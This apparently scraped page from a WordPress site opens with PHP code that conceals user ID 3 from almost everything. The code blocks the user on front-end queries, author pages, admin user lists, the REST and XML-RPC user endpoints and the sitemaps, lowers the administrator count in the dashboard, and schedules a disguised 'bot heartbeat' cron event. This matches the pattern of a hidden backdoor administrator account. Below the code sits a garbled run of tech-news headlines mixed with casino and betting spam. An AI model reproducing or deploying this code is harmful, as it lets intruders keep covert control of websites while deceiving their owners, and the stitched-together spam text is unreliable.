add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 3;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 3 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 3;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 3;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 3;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 3;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
TechTodayhttps://validator.w3.org/feed/docs/rss2.htmlClaude can ship code for you now – how to try it (if you dare)Games_and_features_available_through_chicken_run_for_all_playersWhy Trump Pushed for His ReturnBMAX MaxMini B12 Power mini PC reviewSingapore and China Explore Cross-Border Fast Payment LinkAI-driven technique could help engineers design analog chips faster and with less expense | MIT NewsPart 1: AI Agents Are Coming to Healthcare. Is Your Security Model Ready?Here’s How Much Starlink Cost In 2020 Vs. 2026XPENG Moves Public NGP Rides Into Its Paris Retail Store – Unite.AIUS data centers now burn as much electricity as all of Michigan and emit more CO2 than Denmark — and the real 2026 numbers are even worseBizCover employees win three Insurance Business Rising Stars 2026 awardsFood+Tech Connect Is Grand Mondial Casino? What Kiwi Players Need to KnowOhio State and Microsoft Partner To Accelerate Clinical, Education and Research InnovationMeta Muse booked an Airbnb without permission – and that’s not the worst of itHow to watch New Wave online — stream music documentary from anywhereWhy Apple Vision Pro Never Took Off Like Meta’s VR HeadsetsNearly all software teams admit to shipping AI-generated code as study finds verification ‘has not kept pace with that shift’Anker Soundcore Space 2 Pro review: a messy sequel but not without meritPart 2: Governing AI Agents in Healthcare: Least Privilege, Identity, and Human OversightSignal to restrict screenshots over AI agent concerns – againLego Insiders Weekend vs. early Black Friday deals — which deals should you shop this weekend?Microsoft Surface Laptop Ultra review: does the Nvidia RTX Spark help make this a MacBook Pro killer?Food+Tech Connect Winzoria promo code: stap‑voor‑stap gids voor Nederlandse spelersQ&A: Culture Changes Help With Post-Acute Care Workforce RetentionWatch Australia vs England T20i series 2026: cricket live streamsFood+Tech Connect Hibajee Official Website Registration Steps for Bangladeshi PlayersWhy You Shouldn’t Depend On GTA 6 To Auto-SaveQ&A: Enabling more human-like interactions and understanding in multimodal foundation models | MIT NewsWhat is valuable busyness? (Part 2)New approach enables physically consistent AI models of chaotic systems | MIT NewsTop Legacy Software Modernization Companies in Europe for 2027: Detailed LookEricsson and Altair Demonstrate First 5G eRedCap Network ConnectionRobot Talk Episode 171 – Programming robot behaviour, with Sebastian CastroClosing the Data Gap Between Industrial IoT and Asset ManagementEbury Secures Two In-Principle Approvals from MAS for Singapore ExpansionWhen a cyberattack hits, a bank’s response matters as much as its defences, says Pega’s Jonathan TannerThis GMKtec Ryzen-powered mini PC is a solid daily driver with an $80 discount ahead of Black FridayGoogle Wallet comes to your iPhone – but without this featureNadella Backs NVIDIA Team Led by Interim CEO Colette Kress – Unite.AIFood+Tech Connect 1xBet login steps and methodsWho will make money in Physical AI?This featherweight, flying robot carries its own sensors and computers | MIT NewsEpic Prior Authorization Readiness ChecklistCan a VPN help you play GTA VI early? The truth about risky purchases, quicker downloads, and early access rumorsSiriusXM And Pandora Will Provide Podcast Transcripts For The Deaf And Hard-Of-Hearing CommunityFood+Tech Connect Cv666 app overview and options for Bangladeshi playersConnected Two-Wheeler Telematics Market Set to Exceed 85 Million Systems by 203011th Annual FinTech & Banking Awards 2026 Winners announcedHomeBlog